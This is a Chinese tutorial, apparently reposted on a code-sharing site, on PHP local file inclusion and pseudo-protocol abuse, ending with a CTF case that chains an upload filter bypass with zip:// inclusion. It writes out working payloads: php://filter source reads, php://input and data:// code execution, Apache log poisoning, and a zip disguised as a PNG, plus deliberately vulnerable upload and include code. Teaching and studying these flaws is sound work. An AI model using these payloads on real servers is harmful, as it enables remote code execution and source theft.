提交工单  注册 | 登录
站长家园(原代码之家)（www.adminjie.com）网站源码,微信源码,游戏源码,商业源码分享平台。
当前位置：网站首页 技术文章 网络编程 正文

一起来分析文件包含及PHP伪协议利用

时间：2022-05-04 [网络编程]作者：fabuyuan 浏览：7 次

本篇文章给大家带来了关于PHP的相关问题，其中主要介绍了关于文件包含和PHP伪协议的相关内容，文件包含漏洞是“代码注入”的一种，下面一起来看一下，希望对大家有帮助。

推荐学习：《PHP视频教程》

文件包含

文件包含漏洞是“代码注入”的一种。其原理就是注入一段用户能控制的脚本或代码，并让服务端执行。“代码注入”的典型代表就是文件包含。

要想成功利用文件包含漏洞进行攻击，需要满足以下两个条件：

  • Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件;

  • 用户能够控制该动态变量。

常见的导致文件包含的函数：
PHP:include()、include_once()、require()、require_once()等；
1.php文件包含可以直接执行包含文件的代码，包含的文件格式不受任何限制
在 php 中提供了四个文件包含函数：
(1) Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR)，并停止脚本；
(2) Include：找不到被包含的文件时只会产生一个(E_warinng)，脚本将继续执行；
(3) Require_once：与 include 类似会产生警告，区别是如果文件代码已经被包含，则不会再次被包含；

PHP伪协议

php伪协议，事实上是其支持的协议与封装协议。而其支持的协议有：

file:// — 访问本地文件系统

php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流

all_url_include在php 5.2以后添加,安全方便的设置(php的默认设置)为:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (允许打开URL文件,预设启用)
allow_url_fopen = Off (禁止打开URL文件)
allow_url_include = Off (禁止引用URL文件,新版增加功能,预设关闭)
allow_url_include = On (允许引用URL文件,新版增加功能)

file协议

file:// 文件系统是 PHP 使用的默认封装协议，展现了本地文件系统。

使用file://协议去包含本地的phpinfo.php

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php

PHP协议

php:// 访问各个输入/输出流（I/O streams），在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码：
php://input用于执行php代码。

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php

php://filter读取php文件时候需要base64编码

php://input

  1. allow_url_include = On

php://input + [POST DATA]执行php代码
需要***allow_url_include = On***

http://localhost/www/lfi.php?file=php://input

POST	<?system('ipconfig')?>

  1. allow_url_include = Off

不过一般大部分情况下，allow_url_include 为默认关闭状态，
就不能包含POST数据了，这种情况下可以包含apache日志或者错误日志记录

首先需要fuzz大法，爆破出日志的路径，

为了测试方便，我先将日志的内容清空，方便演示

访问该网址，通过报错将代码写入日志中
注意：这里要使用burp抓包去访问，不然代码会被url编码写入日志，就不能执行了
也可以将代码写入 user-agent中

http://localhost/www/lfi.php?file=<?php phpinfo();?>


我的日志路径为：
F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

使用file://伪协议去读取日志，发现phpinfo被成功执行了

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

zip://协议

** zip:// &; bzip2:// & zlib:// **均属于压缩流，可以访问压缩文件中的子文件，更重要的是不需要指定后缀名，可修改为任意后缀：jpg png gif xxx等等。

这里分析一个文件上传和文件包含结合的CTF案例

首先分析文件上传的源代码

<html><form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form><?phpif(!empty($_FILES["file"])){
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        //move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }}echo $_FILES["file"]["tmp_name"];?></html>

分析源代码发现，文件上传采用了白名单限制策略，只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。

分析文件包含的源代码

<html>Tips: the parameter is file! :) <!-- upload.php --></html><?php
    @$file = $_GET["file"];
    echo $file;
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }?>

分析文件包含源代码，发现限制了部分伪协议和%00截断，且在include中自动添加了php后缀名，但是没有限制zip伪协议。

综上分析可以发现，在文件包含中利用zip伪协议，可以创建test.zip的压缩包，里面放着test.php的文件。

在文件上传时候将后缀名zip修改为png的后缀名，

test.php中写入木马

<?phpphpinfo();?>

如下图所示

图片上传成功之后，利用文件包含和zip://协议去读取test.png中的test.php，发现phpinfo()被执行了，说明poc验证成功

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

data://

条件：

allow_url_fopen:on
allow_url_include :on

访问网址

http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>

也可以使用base64编码，防止代码被过滤掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=

推荐学习：《PHP视频教程》

以上就是一起来分析文件包含及PHP伪协议利用的详细内容，更多请关注站长家园其它相关文章！

本文标签：  php

转载请注明来源：一起来分析文件包含及PHP伪协议利用

本文永久链接地址：https://www.adminjie.com/post/11937.html

免责声明：
本站所发布的一切资源仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑中彻底删除上述内容。如果您喜欢该程序，请支持正版软件，购买注册，得到更好的正版服务。

附：
二○○二年一月一日《计算机软件保护条例》第十七条规定：为了学习和研究软件内含的设计思想和原理，通过安装、显示、传输或者存储软件等方式使用软件的，可以不经软件著作权人许可，不向其支付报酬！鉴于此，也希望大家按此说明研究软件！

版权声明：
一、本站致力于为软件爱好者提供国内外软件开发技术和软件共享，着力为用户提供优资资源。
二、本站提供的部分源码下载文件为网络共享资源，请于下载后的24小时内删除。如需体验更多乐趣，还请支持正版。
三、我站提供用户下载的所有内容均转自互联网。如有内容侵犯您的版权或其他利益的，若有侵犯你的权益请：提交版权证明文件到邮箱 2225329873#qq.com(#换为@) 站长会进行审查之后，情况属实的会在三个工作日内为您删除。

更多精彩内容

  • 站长家园(原代码之家)会员升级
    • 最新文章
    • jquery怎么根据id判断元素是否存在

      jquery怎么根据id判断元素是否存在

      判断方法：1、通过id属性值获取指定元素，语法“$("#id值")”，会返回一个包含指定元素的jQuery对象；2、使用“元素对象.length>0”语句...

    • jquery怎么删除所有li元素

      jquery怎么删除所有li元素

      删除方法：1、利用find()选取文档的所有li元素，语法“$("body").find("li")”，返回一个包含所有li元素的jQuery对象；2、利用re...

    • oracle怎么查询表的同义词

      oracle怎么查询表的同义词

      在oracle中，可以利用select语句配合“dba_synonyms”查询表的所有同义词，语法为“select*fromdba_synonyms”；同...

    • jquery如何改变img的属性值

      jquery如何改变img的属性值

      两种改变方法：1、用attr()修改属性值，语法“$("img").attr({属性1:"值",属性2:"值"...});”。2、用prop()修改属性值，语法...

    • oracle怎么判断索引是否失效

      oracle怎么判断索引是否失效

      在oracle中，可以利用“selectstatusfromuser_indexeswhereindex_name='索引名称';”语句判断索引是否失...

    热门文章
    常见问题 | 会员开通 | 新手教程 | 关于本站 | 版权声明
    广告合作 | Sitemap | Archivers | TagCloud
    客服邮箱：admin#adminjie.com 客服QQ：2225329873 Copyright @ 站长家园